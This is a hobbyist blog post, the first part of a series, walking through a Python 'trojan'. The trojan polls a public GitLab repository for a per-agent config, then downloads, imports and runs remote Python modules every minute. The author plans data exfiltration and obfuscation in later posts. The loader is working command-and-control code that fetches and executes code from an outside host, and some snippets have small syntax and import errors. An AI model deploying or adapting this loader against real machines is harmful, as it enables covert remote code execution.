Git Driven Command and Control Part 1

Filed under python on January 04, 2020

Happy new year! I’ve been busy visiting family for the last little bit, so haven’t had a lot of time to write blogs. Today I’m going to show the basics of a command and control server, which I’ve loosely based of Black Hat Python but decided to write from scratch just for the fun of it. Code is available on my github

The point

This is a thing I’ve used in the past to control some raspberry pis I kept under my living room coffee table for a while. I had a github repo set up similarly to the one I’ll detail in this post, and they would bot around and scrape websites based on what I’d put in my config repo.

This presents some great flexibility in being able to deploy a bot or trojan and change its functionality as time goes on and your needs change, as the code only needs to be deployed once and will keep itself up to date.

Starting point

The first thing I did was set up a gitlab project (why gitlab? I dunno, cause I could I guess) to hold my scrapable data. Let’s have a look at how we’re going to configure one of our agents.

I’m using a GUID as an ID here for each of my agents, so my config files will be keyed under config/{GUID}.json. Ideally I’d like to encrypt this in a production type system to hide what I’m doing from prying eyes, but for now plain text is fine.

Let’s bust one of our config files out

{
    "modules": [
        {
            "name":"dirlister"
        },
        {
            "name":"environment"
        }
    ]
}

Pretty simple JSON object. Should be obvious what I’m doing here, with that list of modules of the functionality that we’ll be loading up later. The black hat python book uses a full git repo approach, but meh, I find web scraping works fine for most things unless I want to write something back to a repo, and using a public endpoint means you avoid having to ship SSH keys around the place.

Grabbing that config

Gitlab provides us with a way to get the raw text of a file in a repo they host, which in our case is https://gitlab.com/threetoes/config-repo/raw/master/config/b494b07e-5e27-4073-8db2-f550d60308e4.json

All we need to do is one HTTP get request and we’re ready to roll. For that we’re going to use the requests library available in PyPi.

If you need a rundown on Python’s virtual env, this article is a good summary of what you need to do to get started.

With that sorted, we’ll grab our config file

import json, requests

class Trojan:
    def __init__(self, config_location):
        resp = requests.get(config_location)
        self.__config = json.loads(resp.content.decode('utf-8')

def main():
    conf = 'https://gitlab.com/threetoes/config-repo/raw/master/config/b494b07e-5e27-4073-8db2-f550d60308e4.json'
    t = Trojan(conf)

if __name__ == '__main__':
    main()

Here, we load and store the configuration dictionary in our trojan object, ready to act on it.

Loading the code

We get the code much the same way as the config, so I’ll skip it for now and leave you to work the code out. Loading the code, however, is something interesting. I’ll probably end up changing this part later on in the repo, but for a quick and dirty script this works ok.

We’ll load our code up in a new class and run a ‘well known’ function in the module.

import importlib.machinery

class ModuleLoader:
    def __init__(self, modulesRepo):
        self.__modules_repo = modulesRepo

    def load_module(self, mod_name):
        mod_path ='modules/' + mod_name + '.py'
        try:
            resp = requests.get(self.__modules_repo + mod_name + '.py')
            if not os.path.isdir('./modules'):
                os.mkdir('./modules')
            if os.path.isfile(mod_path):
                os.remove(mod_path)
            with open(mod_path, 'w') as f:
                f.write(resp.content.decode('utf-8'))
        except Exception as e:
            print(e)
            return None
        return importlib.machinery.SourceFileLoader(mod_name, mod_path).load_module()

Here we pull down the code from our config and modules repo, save it to the ./modules/ folder, then load it into our system ready to run using importlib.machinery.SourceFileLoader.

I’d like to see if I could do this without writing the file out, but that’s future Stephen’s job.

Running the code

We next take the loaded module and run the run() method in it. Again, I’d like to be able to pass arguments and whatnot, but that can come later

This is what a module looks like

import os

def run():
    print(os.environ)

Pretty easy, right? For now it just prints stuff to the terminal, but we can extend this to do something more interesting later.

Running the function itself is just as easy

class Trojan:
#...
    def start(self):
        self.__update_thread.start()
        while True:
            for mod in self.__conf["modules"]:
                a = self.__loader.load_module(mod["name"])
                if a != None:
                    a.run()
            time.sleep(60)

We literally just call the run() method on the returned module object. Easy as.

At this point, I’m not very happy with the main program loops to get it to update itself, so I’ll probably rethink that one and fix it this week.

Next steps

Next blog post I’ll be going over getting data back from the trojan and possibly obfuscation of the repo. I think I can probably keep this one interesting for another two or three posts, we’ll see what I can come up with. Until next time!